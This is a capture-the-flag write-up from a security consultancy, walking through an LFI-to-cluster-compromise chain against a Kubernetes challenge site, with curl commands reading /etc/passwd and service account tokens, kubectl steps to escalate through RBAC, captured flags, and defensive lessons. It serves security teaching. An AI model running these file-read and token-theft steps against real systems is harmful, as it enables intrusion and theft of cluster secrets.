Skip to content
SCV Consultants
LinkedIn

CTF Writeup: BestIT Kubernetes Pentest — From LFI to Cluster Compromise

Security, Kubernetes, CTF, Pentest, LFI, hackArcana5 min read

This writeup documents a complete penetration test of the BestIT company infrastructure, a CTF challenge consisting of three stages: Recon (50 pts), Foothold (100 pts), and Elevation (100 pts). The goal was to assess security and ultimately steal sensitive data from a Kubernetes-hosted web application.

Challenge Overview

  • Target: https://one.ctf.weakweb.cc/
  • Infrastructure: Kubernetes (k3s cluster) on Ubuntu with nginx ingress
  • Attack Path: LFI → ServiceAccount token extraction → RBAC privilege escalation → Secret enumeration

Stage 0: Recon (50 pts)

Initial Discovery

The landing page for "BestITFirma Systems" presented a clean marketing site with project portfolio cards. One detail stood out immediately:

<a href="/project?name=our-first-project.html" class="project-card">

The name query parameter accepting a filename pattern is a textbook Local File Inclusion (LFI) sink.

Confirming the Vulnerability

Testing for path traversal with a benign file:

curl -sk "https://one.ctf.weakweb.cc/project?name=/etc/passwd"

Response included the full /etc/passwd rendered inside the page template, confirming:

  1. Traversal works../ sequences escape the projects directory
  2. Absolute paths workos.path.join() Python footgun confirmed

Flag 0 Capture

curl -sk "https://one.ctf.weakweb.cc/project?name=/run/flag0/flag0-8faf2e44.txt"

Flag 0: HexA{congr4tz--t1me-t0-pwn-th3-cluster}

Root Cause

User input concatenated into filesystem reads without:

  • Canonical path resolution (os.path.realpath())
  • Containment validation (startswith(PROJECTS_DIR))
  • Filename allow-listing

Fix: Use an explicit allow-list of permitted files rather than dynamic path construction.


Stage 1: Foothold (100 pts)

Kubernetes Discovery

The challenge hint suggested Kubernetes involvement. A single file read revealed the cluster environment:

curl -sk "https://one.ctf.weakweb.cc/project?name=/var/run/secrets/kubernetes.io/serviceaccount/token"

This exfiltrated the pod's service account token. Additional reads captured:

  • /var/run/secrets/kubernetes.io/serviceaccount/namespacebestit
  • /var/run/secrets/kubernetes.io/serviceaccount/ca.crt → cluster CA
  • /etc/hosts → pod IP 10.42.1.44 (confirming k3s cluster)

Building kubeconfig

With the token, I constructed a kubeconfig:

apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://one.ctf.weakweb.cc:6443
name: default
contexts:
- context:
cluster: default
namespace: bestit
user: default
name: default
current-context: default
kind: Config
users:
- name: default
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6Inc4S0hxamUycEhlUDZtbDVodjJralAxMnp4eGRlT0VEdElNNjNORFJlM0kifQ...

RBAC Enumeration

Running kubectl auth can-i --list revealed the current identity as restricted-user-sa with minimal permissions:

ResourceVerbs
podsget
configmapslist
serviceaccountslist

Crucially, no secret access was granted.

Flag 1 Discovery

The list configmaps permission revealed bestit-config containing:

data:
flag1-ebcded28.txt: HexA{your3-1n--now-g0-deep3r}
motd.txt: "Big news: BestITFirma is officially ISO 27001 certified!..."

Flag 1: HexA{your3-1n--now-g0-deep3r}


Stage 2: Elevation (100 pts)

Finding the Escalation Path

Getting the pod spec (kubectl get pod bestit-web-7885c66844-gfgkp -o yaml) revealed mounted volumes:

volumeMounts:
- mountPath: /run/secret-manager-token
name: token-volume
volumes:
- name: token-volume
secret:
secretName: secret-manager-token
items:
- key: token
path: manager-token

This mounts a different service account token (secret-manager-sa) inside the pod filesystem.

Token Extraction via LFI

curl -sk "https://one.ctf.weakweb.cc/project?name=/run/secret-manager-token/manager-token"

Extracted token for: secret-manager-sa

Escalated Permissions

With the new token, kubectl auth can-i --list showed:

ResourceVerbs
secretscreate, get

This allows reading individual secrets by name, though not listing them.

Flag 2 Capture

kubectl get secret flag2-secret -n bestit -o yaml

Decoded data: HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne}

Flag 2: HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne}


Stage 3: Escalation (Continued)

Final Privilege Escalation

Brute-forcing secret names with the secret-manager-sa token revealed:

  • secret-lister-token — a token for yet another service account

Extracting this token:

kubectl get secret secret-lister-token -n bestit -o jsonpath='{.data.token}' | base64 -d

The Ultimate Escalation

As secret-lister-sa, the permissions changed dramatically:

ResourceVerbs
secretslist, get

Full secret enumeration became possible:

kubectl get secrets -n bestit

Revealed secrets:

  • flag0, flag0s, flag1, flag2-secret
  • very-secret-flag-4fbb3f5aFlag 3

Flag 3 Capture

kubectl get secret very-secret-flag-4fbb3f5a -n bestit -o jsonpath='{.data}' | jq -r 'to_entries[] | "\(.key): \(.value | @base64d)"'

Flag 3: HexA{ult1m4t3-35c4l4t10n-y0u-4r3-7h3-4dm1n}


All Flags Summary

StageFlagLocationMethod
0HexA{congr4tz--t1me-t0-pwn-th3-cluster}/run/flag0/flag0-8faf2e44.txtLFI
1HexA{your3-1n--now-g0-deep3r}ConfigMap bestit-configK8s API (restricted-user-sa)
2HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne}Secret flag2-secretK8s API (secret-manager-sa)
3HexA{ult1m4t3-35c4l4t10n-y0u-4r3-7h3-4dm1n}Secret very-secret-flag-4fbb3f5aK8s API (secret-lister-sa)

Attack Chain Visualization

┌─────────────────────────────────────────────────────────────────────┐
│ External Attacker │
└──────────────┬────────────────────────────────────────────────────────┘
┌──────────────────────────────────────┐
│ LFI on /project?name= │
│ → Read /etc/passwd (confirmed) │
│ → Read /run/flag0 (FLAG 0) │
└──────────────┬───────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ Exfiltrate K8s SA token from pod filesystem │
│ → restricted-user-sa (limited: get pods, list configmaps) │
└──────────────┬─────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ Read ConfigMap → FLAG 1 │
│ Mount analysis reveals secret-manager-token volume │
└──────────────┬─────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ LFI → /run/secret-manager-token/manager-token │
│ → secret-manager-sa (create/get secrets) │
└──────────────┬─────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ Get secret/flag2-secret → FLAG 2 │
│ Brute force secret names → found secret-lister-token │
└──────────────┬─────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ Extract secret-lister-sa token │
│ → secret-lister-sa (LIST secrets permission) │
└──────────────┬─────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ List all secrets → discovered very-secret-flag-4fbb3f5a │
│ Get secret → FLAG 3 (COMPROMISE COMPLETE) │
└───────────────────────────────────────────────────────────────┘

Security Lessons

1. LFI Prevention

  • Never pass user input directly to filesystem operations
  • Use allow-lists or strict path canonicalization
  • Run containers with read-only root filesystems where possible

2. Kubernetes Secret Management

  • Never mount sensitive service account tokens unnecessarily
  • The secret-manager-sa token was mounted in a volume accessible to the web application, allowing privilege escalation
  • Use automountServiceAccountToken: false by default

3. RBAC Principle of Least Privilege

  • The secret-lister-sa had broad secret listing permissions
  • Service accounts should have minimal required permissions
  • Separate concerns: reading secrets vs. listing secrets vs. managing secrets

4. Defense in Depth

  • Even with an LFI vulnerability, the attacker shouldn't be able to:
    • Access the Kubernetes API
    • Escalate through multiple service accounts
    • Eventually list all cluster secrets

Tools Used

  • curl — HTTP requests and LFI exploitation
  • kubectl — Kubernetes API interaction
  • base64 — Token decoding
  • Custom bash scripts for automation

Challenge completed on April 30, 2026. Total time: ~3 hours. All 4 flags captured, full cluster enumeration achieved.

© 2026 by SCV Consultants. All rights reserved.
Theme by LekoArts